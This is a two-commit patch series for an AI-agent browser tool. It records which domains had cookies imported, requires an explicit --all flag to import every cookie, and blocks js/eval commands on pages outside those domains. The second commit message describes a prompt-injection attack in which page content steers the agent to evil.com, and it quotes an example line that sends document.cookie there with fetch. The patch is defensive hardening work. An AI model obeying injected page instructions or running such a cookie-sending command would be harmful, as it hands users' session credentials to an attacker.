From 978b5b79dba0a791f37c148ef03c0333f7bf0345 Mon Sep 17 00:00:00 2001 From: Alberto Martinez Date: Sat, 28 Mar 2026 21:47:31 -0700 Subject: [PATCH 1/2] security: track cookie-imported domains and scope cookie imports MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add cookie origin tracking to BrowserManager (trackCookieImportDomains, getCookieImportedDomains, hasCookieImports). Every cookie import path now records which domains were imported. - cookie-import-browser direct mode already required --domain; this adds --all as the explicit opt-in for importing all cookies. Without either flag, the interactive picker UI opens instead. - cookie-import (JSON file) now tracks imported domains on BrowserManager. - The --all flag works but emits a warning recommending --domain for tighter scoping. This is the foundation for origin-pinned JS execution (separate PR) — the BrowserManager now knows which domains have imported cookies, so downstream commands can restrict operations to those origins. Made-with: Cursor --- browse/src/browser-manager.ts | 16 ++++++++++++++++ browse/src/write-commands.ts | 34 ++++++++++++++++++++++++++++++---- 2 files changed, 46 insertions(+), 4 deletions(-) diff --git a/browse/src/browser-manager.ts b/browse/src/browser-manager.ts index a6eda991b..4784c5431 100644 --- a/browse/src/browser-manager.ts +++ b/browse/src/browser-manager.ts @@ -57,6 +57,9 @@ export class BrowserManager { private dialogAutoAccept: boolean = true; private dialogPromptText: string | null = null; + // ─── Cookie Origin Tracking ──────────────────────────────── + private cookieImportedDomains: Set = new Set(); + // ─── Handoff State ───────────────────────────────────────── private isHeaded: boolean = false; private consecutiveFailures: number = 0; @@ -521,6 +524,19 @@ export class BrowserManager { return this.dialogPromptText; } + // ─── Cookie Origin Tracking ──────────────────────────────── + trackCookieImportDomains(domains: string[]): void { + for (const d of domains) this.cookieImportedDomains.add(d); + } + + getCookieImportedDomains(): ReadonlySet { + return this.cookieImportedDomains; + } + + hasCookieImports(): boolean { + return this.cookieImportedDomains.size > 0; + } + // ─── Viewport ────────────────────────────────────────────── async setViewport(width: number, height: number) { await this.getPage().setViewportSize({ width, height }); diff --git a/browse/src/write-commands.ts b/browse/src/write-commands.ts index 02413daf8..3194eb487 100644 --- a/browse/src/write-commands.ts +++ b/browse/src/write-commands.ts @@ -314,32 +314,58 @@ export async function handleWriteCommand( } await page.context().addCookies(cookies); + const importedDomains = [...new Set(cookies.map((c: any) => c.domain).filter(Boolean))]; + if (importedDomains.length > 0) bm.trackCookieImportDomains(importedDomains); return `Loaded ${cookies.length} cookies from ${filePath}`; } case 'cookie-import-browser': { // Two modes: // 1. Direct CLI import: cookie-import-browser --domain [--profile ] - // 2. Open picker UI: cookie-import-browser [browser] + // Requires --domain (or --all to explicitly import everything). + // 2. Open picker UI: cookie-import-browser [browser] (interactive domain selection) const browserArg = args[0]; const domainIdx = args.indexOf('--domain'); const profileIdx = args.indexOf('--profile'); + const hasAll = args.includes('--all'); const profile = (profileIdx !== -1 && profileIdx + 1 < args.length) ? args[profileIdx + 1] : 'Default'; if (domainIdx !== -1 && domainIdx + 1 < args.length) { - // Direct import mode — no UI + // Direct import mode — scoped to specific domain const domain = args[domainIdx + 1]; const browser = browserArg || 'comet'; const result = await importCookies(browser, [domain], profile); if (result.cookies.length > 0) { await page.context().addCookies(result.cookies); + bm.trackCookieImportDomains([domain]); } const msg = [`Imported ${result.count} cookies for ${domain} from ${browser}`]; if (result.failed > 0) msg.push(`(${result.failed} failed to decrypt)`); return msg.join(' '); } - // Picker UI mode — open in user's browser + if (hasAll) { + // Explicit all-cookies import — requires --all flag as a deliberate opt-in. + // Imports every non-expired cookie domain from the browser. + const browser = browserArg || 'comet'; + const { listDomains } = await import('./cookie-import-browser'); + const { domains } = listDomains(browser, profile); + const allDomainNames = domains.map(d => d.domain); + if (allDomainNames.length === 0) { + return `No cookies found in ${browser} (profile: ${profile})`; + } + const result = await importCookies(browser, allDomainNames, profile); + if (result.cookies.length > 0) { + await page.context().addCookies(result.cookies); + bm.trackCookieImportDomains(allDomainNames); + } + const msg = [`Imported ${result.count} cookies across ${Object.keys(result.domainCounts).length} domains from ${browser}`]; + msg.push('(used --all: all browser cookies imported — consider --domain for tighter scoping)'); + if (result.failed > 0) msg.push(`(${result.failed} failed to decrypt)`); + return msg.join(' '); + } + + // Picker UI mode — open in user's browser for interactive domain selection const port = bm.serverPort; if (!port) throw new Error('Server port not available'); @@ -355,7 +381,7 @@ export async function handleWriteCommand( // open may fail silently — URL is in the message below } - return `Cookie picker opened at ${pickerUrl}\nDetected browsers: ${browsers.map(b => b.name).join(', ')}\nSelect domains to import, then close the picker when done.`; + return `Cookie picker opened at ${pickerUrl}\nDetected browsers: ${browsers.map(b => b.name).join(', ')}\nSelect domains to import, then close the picker when done.\n\nTip: For scripted imports, use --domain to scope cookies to a single domain.`; } default: From 6c066305d334e6f3c4d198ead419816dcf52b029 Mon Sep 17 00:00:00 2001 From: Alberto Martinez Date: Sat, 28 Mar 2026 21:48:44 -0700 Subject: [PATCH 2/2] security: pin js/eval execution to cookie-imported origins When cookies have been imported (via cookie-import-browser or cookie-import), the js and eval commands now verify that the current page's hostname matches one of the imported cookie domains before executing. If the agent navigates to an untrusted page while holding imported cookies, JS execution is blocked with a clear error. This prevents cross-origin cookie exfiltration attacks where: 1. Agent imports cookies for myapp.com 2. Prompt injection from page content instructs the agent to navigate to evil.com 3. Agent runs `js document.cookie` or `js fetch('https://evil.com', {body: document.cookie})` on the foreign origin The check uses subdomain matching (e.g., importing .github.com allows JS on api.github.com). When no cookies have been imported, JS/eval work on any origin as before (no behavioral change for the common case). Depends on the cookie origin tracking from the scoped-cookie-imports PR. Made-with: Cursor --- browse/src/read-commands.ts | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/browse/src/read-commands.ts b/browse/src/read-commands.ts index 5615b60f0..9da3cee1f 100644 --- a/browse/src/read-commands.ts +++ b/browse/src/read-commands.ts @@ -86,6 +86,38 @@ export async function getCleanText(page: Page | Frame): Promise { }); } +/** + * When cookies have been imported for specific domains, block JS execution + * on pages whose origin doesn't match any imported cookie domain. + * Prevents cross-origin cookie exfiltration via `js document.cookie` or + * similar when the agent navigates to an untrusted page. + */ +function assertJsOriginAllowed(bm: BrowserManager, pageUrl: string): void { + if (!bm.hasCookieImports()) return; + + let hostname: string; + try { + hostname = new URL(pageUrl).hostname; + } catch { + return; // about:blank, data: URIs — allow (no cookies at risk) + } + + const importedDomains = bm.getCookieImportedDomains(); + const allowed = [...importedDomains].some(domain => { + // Exact match or subdomain match (e.g., ".github.com" matches "api.github.com") + const normalized = domain.startsWith('.') ? domain : '.' + domain; + return hostname === domain.replace(/^\./, '') || hostname.endsWith(normalized); + }); + + if (!allowed) { + throw new Error( + `JS execution blocked: current page (${hostname}) does not match any cookie-imported domain. ` + + `Imported cookies for: ${[...importedDomains].join(', ')}. ` + + `This prevents cross-origin cookie exfiltration. Navigate to an imported domain or run without imported cookies.` + ); + } +} + export async function handleReadCommand( command: string, args: string[], @@ -166,6 +198,7 @@ export async function handleReadCommand( case 'js': { const expr = args[0]; if (!expr) throw new Error('Usage: browse js '); + assertJsOriginAllowed(bm, page.url()); const wrapped = wrapForEvaluate(expr); const result = await target.evaluate(wrapped); return typeof result === 'object' ? JSON.stringify(result, null, 2) : String(result ?? ''); @@ -174,6 +207,7 @@ export async function handleReadCommand( case 'eval': { const filePath = args[0]; if (!filePath) throw new Error('Usage: browse eval '); + assertJsOriginAllowed(bm, page.url()); validateReadPath(filePath); if (!fs.existsSync(filePath)) throw new Error(`File not found: ${filePath}`); const code = fs.readFileSync(filePath, 'utf-8');